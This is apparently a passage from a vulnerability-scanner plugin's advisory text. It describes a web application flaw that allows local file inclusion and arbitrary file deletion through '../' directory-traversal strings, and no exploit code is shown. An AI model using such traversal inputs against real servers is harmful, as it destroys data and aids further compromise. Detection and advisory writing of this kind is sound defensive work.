  deletion vulnerability because the application fails to sufficiently sanitize user-supplied input.");

  potentially sensitive information and execute arbitrary local scripts in the context of the webserver
  process. This may allow the attacker to compromise the application and the computer. Other attacks are
  also possible.

  Attackers can exploit arbitrary-file deletion vulnerability with directory-
  traversal strings ('../') to delete arbitrary files. This may aid in
  launching further attacks.");
